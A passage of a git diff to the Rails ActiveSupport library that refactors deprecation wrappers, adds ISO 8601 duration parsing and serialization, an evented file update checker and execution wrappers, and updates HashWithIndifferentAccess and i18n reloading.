b/activesupport/lib/active_support/deprecation/method_wrappers.rb index cab8a1b14d..f5ea6669ce 100644 --- a/activesupport/lib/active_support/deprecation/method_wrappers.rb +++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb @@ -9,35 +9,61 @@ module ActiveSupport # module Fred # extend self # - # def foo; end - # def bar; end - # def baz; end + # def aaa; end + # def bbb; end + # def ccc; end + # def ddd; end + # def eee; end # end # - # ActiveSupport::Deprecation.deprecate_methods(Fred, :foo, bar: :qux, baz: 'use Bar#baz instead') - # # => [:foo, :bar, :baz] + # Using the default deprecator: + # ActiveSupport::Deprecation.deprecate_methods(Fred, :aaa, bbb: :zzz, ccc: 'use Bar#ccc instead') + # # => [:aaa, :bbb, :ccc] # - # Fred.foo - # # => "DEPRECATION WARNING: foo is deprecated and will be removed from Rails 4.1." + # Fred.aaa + # # DEPRECATION WARNING: aaa is deprecated and will be removed from Rails 5.1. (called from irb_binding at (irb):10) + # # => nil # - # Fred.bar - # # => "DEPRECATION WARNING: bar is deprecated and will be removed from Rails 4.1 (use qux instead)." + # Fred.bbb + # # DEPRECATION WARNING: bbb is deprecated and will be removed from Rails 5.1 (use zzz instead). (called from irb_binding at (irb):11) + # # => nil # - # Fred.baz - # # => "DEPRECATION WARNING: baz is deprecated and will be removed from Rails 4.1 (use Bar#baz instead)." + # Fred.ccc + # # DEPRECATION WARNING: ccc is deprecated and will be removed from Rails 5.1 (use Bar#ccc instead). (called from irb_binding at (irb):12) + # # => nil + # + # Passing in a custom deprecator: + # custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem') + # ActiveSupport::Deprecation.deprecate_methods(Fred, ddd: :zzz, deprecator: custom_deprecator) + # # => [:ddd] + # + # Fred.ddd + # DEPRECATION WARNING: ddd is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):15) + # # => nil + # + # Using a custom deprecator directly: + # custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem') + # custom_deprecator.deprecate_methods(Fred, eee: :zzz) + # # => [:eee] + # + # Fred.eee + # DEPRECATION WARNING: eee is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):18) + # # => nil def deprecate_methods(target_module, *method_names) options = method_names.extract_options! - deprecator = options.delete(:deprecator) || ActiveSupport::Deprecation.instance + deprecator = options.delete(:deprecator) || self method_names += options.keys - method_names.each do |method_name| - target_module.alias_method_chain(method_name, :deprecation) do |target, punctuation| - target_module.send(:define_method, "#{target}_with_deprecation#{punctuation}") do |*args, &block| + mod = Module.new do + method_names.each do |method_name| + define_method(method_name) do |*args, &block| deprecator.deprecation_warning(method_name, options[method_name]) - send(:"#{target}_without_deprecation#{punctuation}", *args, &block) + super(*args, &block) end end end + + target_module.prepend(mod) end end end diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb index a03a66b96b..0cb2d4d22e 100644 --- a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb +++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb @@ -20,20 +20,22 @@ module ActiveSupport private def method_missing(called, *args, &block) - warn caller, called, args + warn caller_locations, called, args target.__send__(called, *args, &block) end end - # This DeprecatedObjectProxy transforms object to deprecated object. + # DeprecatedObjectProxy transforms an object into a deprecated one. It + # takes an object, a deprecation message and optionally a deprecator. The + # deprecator defaults to +ActiveSupport::Deprecator+ if none is specified. # - # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!") - # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!", deprecator_instance) + # deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, "This object is now deprecated") + # # => #<Object:0x007fb9b34c34b0> # - # When someone executes any method except +inspect+ on proxy object this will - # trigger +warn+ method on +deprecator_instance+. - # - # Default deprecator is <tt>ActiveSupport::Deprecation</tt> + # deprecated_object.to_s + # DEPRECATION WARNING: This object is now deprecated. + # (Backtrace) + # # => "#<Object:0x007fb9b34c34b0>" class DeprecatedObjectProxy < DeprecationProxy def initialize(object, message, deprecator = ActiveSupport::Deprecation.instance) @object = object @@ -51,13 +53,16 @@ module ActiveSupport end end - # This DeprecatedInstanceVariableProxy transforms instance variable to - # deprecated instance variable. + # DeprecatedInstanceVariableProxy transforms an instance variable into a + # deprecated one. It takes an instance of a class, a method on that class + # and an instance variable. It optionally takes a deprecator as the last + # argument. The deprecator defaults to +ActiveSupport::Deprecator+ if none + # is specified. # # class Example - # def initialize(deprecator) - # @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator) - # @_request = :a_request + # def initialize + # @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request) + # @_request = :special_request # end # # def request @@ -69,12 +74,17 @@ module ActiveSupport # end # end # - # When someone execute any method on @request variable this will trigger - # +warn+ method on +deprecator_instance+ and will fetch <tt>@_request</tt> - # variable via +request+ method and execute the same method on non-proxy - # instance variable. + # example = Example.new + # # => #<Example:0x007fb9b31090b8 @_request=:special_request, @request=:special_request> + # + # example.old_request.to_s + # # => DEPRECATION WARNING: @request is deprecated! Call request.to_s instead of + # @request.to_s + # (Backtrace information…) + # "special_request" # - # Default deprecator is <tt>ActiveSupport::Deprecation</tt>. + # example.request.to_s + # # => "special_request" class DeprecatedInstanceVariableProxy < DeprecationProxy def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance) @instance = instance @@ -93,15 +103,23 @@ module ActiveSupport end end - # This DeprecatedConstantProxy transforms constant to deprecated constant. + # DeprecatedConstantProxy transforms a constant into a deprecated one. It + # takes the names of an old (deprecated) constant and of a new constant + # (both in string form) and optionally a deprecator. The deprecator defaults + # to +ActiveSupport::Deprecator+ if none is specified. The deprecated constant + # now returns the value of the new one. + # + # PLANETS = %w(mercury venus earth mars jupiter saturn uranus neptune pluto) # - # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST') - # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST', deprecator_instance) + # (In a later update, the original implementation of `PLANETS` has been removed.) # - # When someone use old constant this will trigger +warn+ method on - # +deprecator_instance+. + # PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune) + # PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006') # - # Default deprecator is <tt>ActiveSupport::Deprecation</tt>. + # PLANETS.map { |planet| planet.capitalize } + # # => DEPRECATION WARNING: PLANETS is deprecated! Use PLANETS_POST_2006 instead. + # (Backtrace information…) + # ["Mercury", "Venus", "Earth", "Mars", "Jupiter", "Saturn", "Uranus", "Neptune"] class DeprecatedConstantProxy < DeprecationProxy def initialize(old_const, new_const, deprecator = ActiveSupport::Deprecation.instance) @old_const = old_const @@ -109,6 +127,11 @@ module ActiveSupport @deprecator = deprecator end + # Returns the class of the new constant. + # + # PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune) + # PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006') + # PLANETS.class # => Array def class target.class end diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb index a7d265d732..de5b233679 100644 --- a/activesupport/lib/active_support/deprecation/reporting.rb +++ b/activesupport/lib/active_support/deprecation/reporting.rb @@ -1,3 +1,5 @@ +require 'rbconfig' + module ActiveSupport class Deprecation module Reporting @@ -14,7 +16,7 @@ module ActiveSupport def warn(message = nil, callstack = nil) return if silenced - callstack ||= caller(2) + callstack ||= caller_locations(2) deprecation_message(callstack, message).tap do |m| behavior.each { |b| b.call(m, callstack) } end @@ -37,7 +39,7 @@ module ActiveSupport end def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil) - caller_backtrace ||= caller(2) + caller_backtrace ||= caller_locations(2) deprecated_method_warning(deprecated_method_name, message).tap do |msg| warn(msg, caller_backtrace) end @@ -63,7 +65,6 @@ module ActiveSupport def deprecation_message(callstack, message = nil) message ||= "You are using deprecated behavior which will be removed from the next major or minor release." - message += '.' unless message =~ /\.$/ "DEPRECATION WARNING: #{message} #{deprecation_caller_message(callstack)}" end @@ -79,8 +80,19 @@ module ActiveSupport end def extract_callstack(callstack) - rails_gem_root = File.expand_path("../../../../..", __FILE__) + "/" - offending_line = callstack.find { |line| !line.start_with?(rails_gem_root) } || callstack.first + return _extract_callstack(callstack) if callstack.first.is_a? String + + offending_line = callstack.find { |frame| + frame.absolute_path && !ignored_callstack(frame.absolute_path) + } || callstack.first + + [offending_line.path, offending_line.lineno, offending_line.label] + end + + def _extract_callstack(callstack) + warn "Please pass `caller_locations` to the deprecation API" if $VERBOSE + offending_line = callstack.find { |line| !ignored_callstack(line) } || callstack.first + if offending_line if md = offending_line.match(/^(.+?):(\d+)(?::in `(.*?)')?/) md.captures @@ -89,6 +101,12 @@ module ActiveSupport end end end + + RAILS_GEM_ROOT = File.expand_path("../../../../..", __FILE__) + "/" + + def ignored_callstack(path) + path.start_with?(RAILS_GEM_ROOT) || path.start_with?(RbConfig::CONFIG['rubylibdir']) + end end end end diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb index 5a64fc52cc..47d09f4f5a 100644 --- a/activesupport/lib/active_support/duration.rb +++ b/activesupport/lib/active_support/duration.rb @@ -9,6 +9,9 @@ module ActiveSupport class Duration attr_accessor :value, :parts + autoload :ISO8601Parser, 'active_support/duration/iso8601_parser' + autoload :ISO8601Serializer, 'active_support/duration/iso8601_serializer' + def initialize(value, parts) #:nodoc: @value, @parts = value, parts end @@ -52,10 +55,38 @@ module ActiveSupport end end + # Returns the amount of seconds a duration covers as a string. + # For more information check to_i method. + # + # 1.day.to_s # => "86400" def to_s @value.to_s end + # Returns the number of seconds that this Duration represents. + # + # 1.minute.to_i # => 60 + # 1.hour.to_i # => 3600 + # 1.day.to_i # => 86400 + # + # Note that this conversion makes some assumptions about the + # duration of some periods, e.g. months are always 30 days + # and years are 365.25 days: + # + # # equivalent to 30.days.to_i + # 1.month.to_i # => 2592000 + # + # # equivalent to 365.25.days.to_i + # 1.year.to_i # => 31557600 + # + # In such cases, Ruby's core + # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and + # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision + # date and time arithmetic. + def to_i + @value.to_i + end + # Returns +true+ if +other+ is also a Duration instance, which has the # same parts as this one. def eql?(other) @@ -89,7 +120,7 @@ module ActiveSupport def inspect #:nodoc: parts. reduce(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }. - sort_by {|unit, _ | [:years, :months, :days, :minutes, :seconds].index(unit)}. + sort_by {|unit, _ | [:years, :months, :weeks, :days, :hours, :minutes, :seconds].index(unit)}. map {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}. to_sentence(locale: ::I18n.default_locale) end @@ -102,6 +133,23 @@ module ActiveSupport @value.respond_to?(method, include_private) end + # Creates a new Duration from string formatted according to ISO 8601 Duration. + # + # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information. + # This method allows negative parts to be present in pattern. + # If invalid string is provided, it will raise +ActiveSupport::Duration::ISO8601Parser::ParsingError+. + def self.parse(iso8601duration) + parts = ISO8601Parser.new(iso8601duration).parse! + time = ::Time.current + new(time.advance(parts) - time, parts) + end + + # Build ISO 8601 Duration string for this duration. + # The +precision+ parameter can be used to limit seconds' precision of duration. + def iso8601(precision: nil) + ISO8601Serializer.new(self, precision: precision).serialize + end + delegate :<=>, to: :value protected @@ -111,6 +159,10 @@ module ActiveSupport if t.acts_like?(:time) || t.acts_like?(:date) if type == :seconds t.since(sign * number) + elsif type == :minutes + t.since(sign * number * 60) + elsif type == :hours + t.since(sign * number * 3600) else t.advance(type => sign * number) end diff --git a/activesupport/lib/active_support/duration/iso8601_parser.rb b/activesupport/lib/active_support/duration/iso8601_parser.rb new file mode 100644 index 0000000000..07af58ad99 --- /dev/null +++ b/activesupport/lib/active_support/duration/iso8601_parser.rb @@ -0,0 +1,122 @@ +require 'strscan' + +module ActiveSupport + class Duration + # Parses a string formatted according to ISO 8601 Duration into the hash. + # + # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information. + # + # This parser allows negative parts to be present in pattern. + class ISO8601Parser # :nodoc: + class ParsingError < ::ArgumentError; end + + PERIOD_OR_COMMA = /\.|,/ + PERIOD = '.'.freeze + COMMA = ','.freeze + + SIGN_MARKER = /\A\-|\+|/ + DATE_MARKER = /P/ + TIME_MARKER = /T/ + DATE_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(Y|M|D|W)/ + TIME_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(H|M|S)/ + + DATE_TO_PART = { 'Y' => :years, 'M' => :months, 'W' => :weeks, 'D' => :days } + TIME_TO_PART = { 'H' => :hours, 'M' => :minutes, 'S' => :seconds } + + DATE_COMPONENTS = [:years, :months, :days] + TIME_COMPONENTS = [:hours, :minutes, :seconds] + + attr_reader :parts, :scanner + attr_accessor :mode, :sign + + def initialize(string) + @scanner = StringScanner.new(string) + @parts = {} + @mode = :start + @sign = 1 + end + + def parse! + while !finished? + case mode + when :start + if scan(SIGN_MARKER) + self.sign = (scanner.matched == '-') ? -1 : 1 + self.mode = :sign + else + raise_parsing_error + end + + when :sign + if scan(DATE_MARKER) + self.mode = :date + else + raise_parsing_error + end + + when :date + if scan(TIME_MARKER) + self.mode = :time + elsif scan(DATE_COMPONENT) + parts[DATE_TO_PART[scanner[2]]] = number * sign + else + raise_parsing_error + end + + when :time + if scan(TIME_COMPONENT) + parts[TIME_TO_PART[scanner[2]]] = number * sign + else + raise_parsing_error + end + + end + end + + validate! + parts + end + + private + + def finished? + scanner.eos? + end + + # Parses number which can be a float with either comma or period. + def number + scanner[1] =~ PERIOD_OR_COMMA ? scanner[1].tr(COMMA, PERIOD).to_f : scanner[1].to_i + end + + def scan(pattern) + scanner.scan(pattern) + end + + def raise_parsing_error(reason = nil) + raise ParsingError, "Invalid ISO 8601 duration: #{scanner.string.inspect} #{reason}".strip + end + + # Checks for various semantic errors as stated in ISO 8601 standard. + def validate! + raise_parsing_error('is empty duration') if parts.empty? + + # Mixing any of Y, M, D with W is invalid. + if parts.key?(:weeks) && (parts.keys & DATE_COMPONENTS).any? + raise_parsing_error('mixing weeks with other date parts not allowed') + end + + # Specifying an empty T part is invalid. + if mode == :time && (parts.keys & TIME_COMPONENTS).empty? + raise_parsing_error('time part marker is present but time part is empty') + end + + fractions = parts.values.reject(&:zero?).select { |a| (a % 1) != 0 } + unless fractions.empty? || (fractions.size == 1 && fractions.last == @parts.values.reject(&:zero?).last) + raise_parsing_error '(only last part can be fractional)' + end + + return true + end + end + end +end diff --git a/activesupport/lib/active_support/duration/iso8601_serializer.rb b/activesupport/lib/active_support/duration/iso8601_serializer.rb new file mode 100644 index 0000000000..05c6a083a9 --- /dev/null +++ b/activesupport/lib/active_support/duration/iso8601_serializer.rb @@ -0,0 +1,51 @@ +require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/hash/transform_values' + +module ActiveSupport + class Duration + # Serializes duration to string according to ISO 8601 Duration format. + class ISO8601Serializer + def initialize(duration, precision: nil) + @duration = duration + @precision = precision + end + + # Builds and returns output string. + def serialize + output = 'P' + parts, sign = normalize + output << "#{parts[:years]}Y" if parts.key?(:years) + output << "#{parts[:months]}M" if parts.key?(:months) + output << "#{parts[:weeks]}W" if parts.key?(:weeks) + output << "#{parts[:days]}D" if parts.key?(:days) + time = '' + time << "#{parts[:hours]}H" if parts.key?(:hours) + time << "#{parts[:minutes]}M" if parts.key?(:minutes) + if parts.key?(:seconds) + time << "#{sprintf(@precision ? "%0.0#{@precision}f" : '%g', parts[:seconds])}S" + end + output << "T#{time}" if time.present? + "#{sign}#{output}" + end + + private + + # Return pair of duration's parts and whole duration sign. + # Parts are summarized (as they can become repetitive due to addition, etc). + # Zero parts are removed as not significant. + # If all parts are negative it will negate all of them and return minus as a sign. + def normalize + parts = @duration.parts.each_with_object(Hash.new(0)) do |(k,v),p| + p[k] += v unless v.zero? + end + # If all parts are negative - let's make a negative duration + sign = '' + if parts.values.all? { |v| v < 0 } + sign = '-' + parts.transform_values!(&:-@) + end + [parts, sign] + end + end + end +end diff --git a/activesupport/lib/active_support/evented_file_update_checker.rb b/activesupport/lib/active_support/evented_file_update_checker.rb new file mode 100644 index 0000000000..21fdf7bb80 --- /dev/null +++ b/activesupport/lib/active_support/evented_file_update_checker.rb @@ -0,0 +1,155 @@ +require 'set' +require 'pathname' +require 'concurrent/atomic/atomic_boolean' + +module ActiveSupport + class EventedFileUpdateChecker #:nodoc: all + def initialize(files, dirs = {}, &block) + @ph = PathHelper.new + @files = files.map { |f| @ph.xpath(f) }.to_set + + @dirs = {} + dirs.each do |dir, exts| + @dirs[@ph.xpath(dir)] = Array(exts).map { |ext| @ph.normalize_extension(ext) } + end + + @block = block + @updated = Concurrent::AtomicBoolean.new(false) + @lcsp = @ph.longest_common_subpath(@dirs.keys) + + if (dtw = directories_to_watch).any? + # Loading listen triggers warnings. These are originated by a legit + # usage of attr_* macros for private attributes, but adds a lot of noise + # to our test suite. Thus, we lazy load it and disable warnings locally. + silence_warnings do + begin + require 'listen' + rescue LoadError => e + raise LoadError, "Could not load the 'listen' gem. Add `gem 'listen'` to the development group of your Gemfile", e.backtrace + end + end + Listen.to(*dtw, &method(:changed)).start + end + end + + def updated? + @updated.true? + end + + def execute + @updated.make_false + @block.call + end + + def execute_if_updated + if updated? + yield if block_given? + execute + true + end + end + + private + + def changed(modified, added, removed) + unless updated? + @updated.make_true if (modified + added + removed).any? { |f| watching?(f) } + end + end + + def watching?(file) + file = @ph.xpath(file) + + if @files.member?(file) + true + elsif file.directory? + false + else + ext = @ph.normalize_extension(file.extname) + + file.dirname.ascend do |dir| + if @dirs.fetch(dir, []).include?(ext) + break true + elsif dir == @lcsp || dir.root? + break false + end + end + end + end + + def directories_to_watch + dtw = (@files + @dirs.keys).map { |f| @ph.existing_parent(f) } + dtw.compact! + dtw.uniq! + + @ph.filter_out_descendants(dtw) + end + + class PathHelper + def xpath(path) + Pathname.new(path).expand_path + end + + def normalize_extension(ext) + ext.to_s.sub(/\A\./, '') + end + + # Given a collection of Pathname objects returns the longest subpath + # common to all of them, or +nil+ if there is none. + def longest_common_subpath(paths) + return if paths.empty? + + lcsp = Pathname.new(paths[0]) + + paths[1..-1].each do |path| + until ascendant_of?(lcsp, path) + if lcsp.root? + # If we get here a root directory is not an ascendant of path. + # This may happen if there are paths in different drives on + # Windows. + return + else + lcsp = lcsp.parent + end + end + end + + lcsp + end + + # Returns the deepest existing ascendant, which could be the argument itself. + def existing_parent(dir) + dir.ascend do |ascendant| + break ascendant if ascendant.directory? + end + end + + # Filters out directories which are descendants of others in the collection (stable). + def filter_out_descendants(dirs) + return dirs if dirs.length < 2 + + dirs_sorted_by_nparts = dirs.sort_by { |dir| dir.each_filename.to_a.length } + descendants = [] + + until dirs_sorted_by_nparts.empty? + dir = dirs_sorted_by_nparts.shift + + dirs_sorted_by_nparts.reject! do |possible_descendant| + ascendant_of?(dir, possible_descendant) && descendants << possible_descendant + end + end + + # Array#- preserves order. + dirs - descendants + end + + private + + def ascendant_of?(base, other) + base != other && other.ascend do |ascendant| + break true if base == ascendant + end + end + end + end +end diff --git a/activesupport/lib/active_support/execution_wrapper.rb b/activesupport/lib/active_support/execution_wrapper.rb new file mode 100644 index 0000000000..00c5745a25 --- /dev/null +++ b/activesupport/lib/active_support/execution_wrapper.rb @@ -0,0 +1,117 @@ +require 'active_support/callbacks' + +module ActiveSupport + class ExecutionWrapper + include ActiveSupport::Callbacks + + Null = Object.new # :nodoc: + def Null.complete! # :nodoc: + end + + define_callbacks :run + define_callbacks :complete + + def self.to_run(*args, &block) + set_callback(:run, *args, &block) + end + + def self.to_complete(*args, &block) + set_callback(:complete, *args, &block) + end + + # Register an object to be invoked during both the +run+ and + # +complete+ steps. + # + # +hook.complete+ will be passed the value returned from +hook.run+, + # and will only be invoked if +run+ has previously been called. + # (Mostly, this means it won't be invoked if an exception occurs in + # a preceding +to_run+ block; all ordinary +to_complete+ blocks are + # invoked in that situation.) + def self.register_hook(hook, outer: false) + if outer + run_args = [prepend: true] + complete_args = [:after] + else + run_args = complete_args = [] + end + + to_run(*run_args) do + hook_state[hook] = hook.run + end + to_complete(*complete_args) do + if hook_state.key?(hook) + hook.complete hook_state[hook] + end + end + end + + # Run this execution. + # + # Returns an instance, whose +complete!+ method *must* be invoked + # after the work has been performed. + # + # Where possible, prefer +wrap+. + def self.run! + if active? + Null + else + new.tap do |instance| + success = nil + begin + instance.run! + success = true + ensure + instance.complete! unless success + end + end + end + end + + # Perform the work in the supplied block as an execution. + def self.wrap + return yield if active? + + instance = run! + begin + yield + ensure + instance.complete! + end + end + + class << self # :nodoc: + attr_accessor :active + end + + def self.inherited(other) # :nodoc: + super + other.active = Concurrent::Hash.new + end + + self.active = Concurrent::Hash.new + + def self.active? # :nodoc: + @active[Thread.current] + end + + def run! # :nodoc: + self.class.active[Thread.current] = true + run_callbacks(:run) + end + + # Complete this in-flight execution. This method *must* be called + # exactly once on the result of any call to +run!+. + # + # Where possible, prefer +wrap+. + def complete! + run_callbacks(:complete) + ensure + self.class.active.delete Thread.current + end + + private + def hook_state + @_hook_state ||= {} + end + end +end diff --git a/activesupport/lib/active_support/executor.rb b/activesupport/lib/active_support/executor.rb new file mode 100644 index 0000000000..602fb11a44 --- /dev/null +++ b/activesupport/lib/active_support/executor.rb @@ -0,0 +1,6 @@ +require 'active_support/execution_wrapper' + +module ActiveSupport + class Executor < ExecutionWrapper + end +end diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb index 78b627c286..b5667b6ac8 100644 --- a/activesupport/lib/active_support/file_update_checker.rb +++ b/activesupport/lib/active_support/file_update_checker.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/time/calculations' + module ActiveSupport # FileUpdateChecker specifies the API used by Rails to watch files # and control reloading. The API depends on four methods: @@ -23,7 +25,7 @@ module ActiveSupport # I18n.reload! # end # - # ActionDispatch::Reloader.to_prepare do + # ActiveSupport::Reloader.to_prepare do # i18n_reloader.execute_if_updated # end class FileUpdateChecker @@ -35,7 +37,7 @@ module ActiveSupport # This method must also receive a block that will be called once a path # changes. The array of files and list of directories cannot be changed # after FileUpdateChecker has been initialized. - def initialize(files, dirs={}, &block) + def initialize(files, dirs = {}, &block) @files = files.freeze @glob = compile_glob(dirs) @block = block @@ -81,6 +83,7 @@ module ActiveSupport # Execute the block given if updated. def execute_if_updated if updated? + yield if block_given? execute true else @@ -111,7 +114,24 @@ module ActiveSupport # reloading is not triggered. def max_mtime(paths) time_now = Time.now - paths.map {|path| File.mtime(path)}.reject {|mtime| time_now < mtime}.max + max_mtime = nil + + # Time comparisons are performed with #compare_without_coercion because + # AS redefines these operators in a way that is much slower and does not + # bring any benefit in this particular code. + # + # Read t1.compare_without_coercion(t2) < 0 as t1 < t2. + paths.each do |path| + mtime = File.mtime(path) + + next if time_now.compare_without_coercion(mtime) < 0 + + if max_mtime.nil? || max_mtime.compare_without_coercion(mtime) < 0 + max_mtime = mtime + end + end + + max_mtime end def compile_glob(hash) diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb index 7068f09d87..74f2d8dd4b 100644 --- a/activesupport/lib/active_support/gem_version.rb +++ b/activesupport/lib/active_support/gem_version.rb @@ -1,12 +1,12 @@ module ActiveSupport - # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt> + # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt>. def self.gem_version Gem::Version.new VERSION::STRING end module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb index 4f71f13971..03770a197c 100644 --- a/activesupport/lib/active_support/hash_with_indifferent_access.rb +++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb @@ -59,13 +59,19 @@ module ActiveSupport if constructor.respond_to?(:to_hash) super() update(constructor) + + hash = constructor.to_hash + self.default = hash.default if hash.default + self.default_proc = hash.default_proc if hash.default_proc else super(constructor) end end - def default(key = nil) - if key.is_a?(Symbol) && include?(key = key.to_s) + def default(*args) + arg_key = args.first + + if include?(key = convert_key(arg_key)) self[key] else super @@ -73,11 +79,12 @@ module ActiveSupport end def self.new_from_hash_copying_default(hash) - hash = hash.to_hash - new(hash).tap do |new_hash| - new_hash.default = hash.default - new_hash.default_proc = hash.default_proc if hash.default_proc - end + ActiveSupport::Deprecation.warn(<<-MSG.squish) + `ActiveSupport::HashWithIndifferentAccess.new_from_hash_copying_default` + has been deprecated, and will be removed in Rails 5.1. The behavior of + this method is now identical to the behavior of `.new`. + MSG + new(hash) end def self.[](*args) @@ -92,7 +99,7 @@ module ActiveSupport # hash = ActiveSupport::HashWithIndifferentAccess.new # hash[:key] = 'value' # - # This value can be later fetched using either +:key+ or +'key'+. + # This value can be later fetched using either +:key+ or <tt>'key'</tt>. def []=(key, value) regular_writer(convert_key(key), convert_value(value, for: :assignment)) end @@ -154,6 +161,20 @@ module ActiveSupport alias_method :has_key?, :key? alias_method :member?, :key? + + # Same as <tt>Hash#[]</tt> where the key passed as argument can be + # either a string or a symbol: + # + # counters = ActiveSupport::HashWithIndifferentAccess.new + # counters[:foo] = 1 + # + # counters['foo'] # => 1 + # counters[:foo] # => 1 + # counters[:zoo] # => nil + def [](key) + super(convert_key(key)) + end + # Same as <tt>Hash#fetch</tt> where the key passed as argument can be # either a string or a symbol: # @@ -188,7 +209,7 @@ module ActiveSupport # dup[:a][:c] # => "c" def dup self.class.new(self).tap do |new_hash| - new_hash.default = default + set_defaults(new_hash) end end @@ -206,7 +227,7 @@ module ActiveSupport # hash['a'] = nil # hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1} def reverse_merge(other_hash) - super(self.class.new_from_hash_copying_default(other_hash)) + super(self.class.new(other_hash)) end # Same semantics as +reverse_merge+ but modifies the receiver in-place. @@ -219,7 +240,7 @@ module ActiveSupport # h = { "a" => 100, "b" => 200 } # h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400} def replace(other_hash) - super(self.class.new_from_hash_copying_default(other_hash)) + super(self.class.new(other_hash)) end # Removes the specified key from the hash. @@ -238,16 +259,20 @@ module ActiveSupport def to_options!; self end def select(*args, &block) + return to_enum(:select) unless block_given? dup.tap { |hash| hash.select!(*args, &block) } end def reject(*args, &block) + return to_enum(:reject) unless block_given? dup.tap { |hash| hash.reject!(*args, &block) } end # Convert to a regular hash with string keys. def to_hash - _new_hash = Hash.new(default) + _new_hash = Hash.new + set_defaults(_new_hash) + each do |key, value| _new_hash[key] = convert_value(value, for: :to_hash) end @@ -275,6 +300,14 @@ module ActiveSupport value end end + + def set_defaults(target) + if default_proc + target.default_proc = default_proc.dup + else + target.default = default + end + end end end diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb index 95f3f6255a..6cc7c90c12 100644 --- a/activesupport/lib/active_support/i18n_railtie.rb +++ b/activesupport/lib/active_support/i18n_railtie.rb @@ -37,10 +37,12 @@ module I18n enforce_available_locales = I18n.enforce_available_locales if enforce_available_locales.nil? I18n.enforce_available_locales = false + reloadable_paths = [] app.config.i18n.each do |setting, value| case setting when :railties_load_path - app.config.i18n.load_path.unshift(*value) + reloadable_paths = value + app.config.i18n.load_path.unshift(*value.map(&:existent).flatten) when :load_path I18n.load_path += value else @@ -53,10 +55,17 @@ module I18n # Restore available locales check so it will take place from now on. I18n.enforce_available_locales = enforce_available_locales - reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! } + directories = watched_dirs_with_extensions(reloadable_paths) + reloader = app.config.file_watcher.new(I18n.load_path.dup, directories) do + I18n.load_path.keep_if { |p| File.exist?(p) } + I18n.load_path |= reloadable_paths.map(&:existent).flatten + + I18n.reload! + end + app.reloaders << reloader - ActionDispatch::Reloader.to_prepare do - reloader.execute_if_updated + app.reloader.to_run do + reloader.execute_if_updated { require_unload_lock! } # TODO: remove the following line as soon as the return value of # callbacks is ignored, that is, returning `false` does not # display a deprecation warning or halts the callback chain. @@ -96,5 +105,11 @@ module I18n raise "Unexpected fallback type #{fallbacks.inspect}" end end + + def self.watched_dirs_with_extensions(paths) + paths.each_with_object({}) do |path, result| + result[path.absolute_current] = path.extensions + end + end end end diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb index 486838bd15..f3e52b48ac 100644 --- a/activesupport/lib/active_support/inflector/inflections.rb +++ b/activesupport/lib/active_support/inflector/inflections.rb @@ -1,4 +1,4 @@ -require 'thread_safe' +require 'concurrent/map' require 'active_support/core_ext/array/prepend_and_append' require 'active_support/i18n' @@ -25,7 +25,38 @@ module ActiveSupport # singularization rules that is runs. This guarantees that your rules run # before any of the rules that may already have been loaded. class Inflections - @__instance__ = ThreadSafe::Cache.new + @__instance__ = Concurrent::Map.new + + class Uncountables < Array + def initialize + @regex_array = [] + super + end + + def delete(entry) + super entry + @regex_array.delete(to_regex(entry)) + end + + def <<(*word) + add(word) + end + + def add(words) + self.concat(words.flatten.map(&:downcase)) + @regex_array += self.map {|word| to_regex(word) } + self + end + + def uncountable?(str) + 